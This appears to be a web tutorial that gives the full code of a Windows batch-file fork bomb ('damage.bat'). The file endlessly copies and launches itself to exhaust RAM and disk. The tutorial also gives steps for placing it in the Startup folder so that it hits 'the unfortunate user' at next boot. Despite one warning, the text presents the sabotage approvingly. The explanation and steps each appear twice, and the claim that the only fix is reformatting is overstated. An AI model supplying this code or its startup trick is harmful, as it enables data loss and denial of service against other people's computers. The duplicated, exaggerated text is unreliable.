Overloading Memory
This batch file creates another batch file in the same directory, then copies itself into each of these newly created files. These files are then started up. Of course, they are identical so both of them start up again and repeat the process until the computer runs out of memory and crashes (or the antivirus catches it).
What this will do, if you leave it on long enough (about a couple minutes), it will create so many copies of itself on the hard drive that all the empty space has been filled with these bats. Also it will use up all the computer's RAM as it is being told to run an ever-increasing number of the same processes, which over time gets too much for it to handle.
Depending on what runs out first hard disk space or RAM, the batch file may or may not cause permanent damage. In both cases, however, the computer will almost definitely crash, the operating system may be corrupted and on the next start up, you will be greeted by the well-known "Blue Screen Of Death". The only way to get rid of it will be to format your hard drive and re-install the operating system.
Further, we can have this beautiful file executed at startup, as a surprise for the unfortunate user who will happen to start the computer the next time.
Here's how to do it
1. Open a word editor like Notepad.
2. Type in the following code ->
@echo off
:A
SET /A x=%RANDOM%%%1999999999%
type damage.bat >> %x%.bat
start %x%.bat
goto:A
3. Save the File as "damage.bat".
4. To make this file execute automatically at startup, Do the following.
Create a shortcut of the damage.bat file by right clicking on it.
Open the start menu
In programs Open Startup folder and simply drag or cut-paste the shortcut into this folder.
The virus will break loose the next time the computer is started up.
If that sounded too easy to be true, it is. The thing is, this example is so basic it is known to 100% of all the antivirus softwares. Chances are if you do have even a really bad and outdated antivirus, it will most probably not even let you create this file or immediately delete it.
What this will do, if you leave it on long enough (about a couple minutes), it will create so many copies of itself on the hard drive that all the empty space has been filled with these bats. Also it will use up all the computer's RAM as it is being told to run an ever-increasing number of the same processes, which over time gets too much for it to handle.
Depending on what runs out first hard disk space or RAM, the batch file may or may not cause permanent damage. In both cases, however, the computer will almost definitely crash, the operating system may be corrupted and on the next start up, you will be greeted by the well-known "Blue Screen Of Death". The only way to get rid of it will be to format your hard drive and re-install the operating system.
Further, we can have this beautiful file executed at startup, as a surprise for the unfortunate user who will happen to start the computer the next time.
WARNING! I cannot stress this enough- This is not a game. This is very dangerous and for your own sake should never be actually performed. On execution, the computer will stop responding immediately and if the plug is not pulled off within 4-5 seconds, there are chances of total data loss and corruption of the hard drive.
Here's how to do it
1. Open a word editor like Notepad.
2. Type in the following code ->
@echo off
:A
SET /A x=%RANDOM%%%1999999999%
type damage.bat >> %x%.bat
start %x%.bat
goto:A
3. Save the File as "damage.bat".
4. To make this file execute automatically at startup, Do the following.
Create a shortcut of the damage.bat file by right clicking on it.
Open the start menu
In programs Open Startup folder and simply drag or cut-paste the shortcut into this folder.
The virus will break loose the next time the computer is started up.
If that sounded too easy to be true, it is. The thing is, this example is so basic it is known to 100% of all the antivirus softwares. Chances are if you do have even a really bad and outdated antivirus, it will most probably not even let you create this file or immediately delete it.
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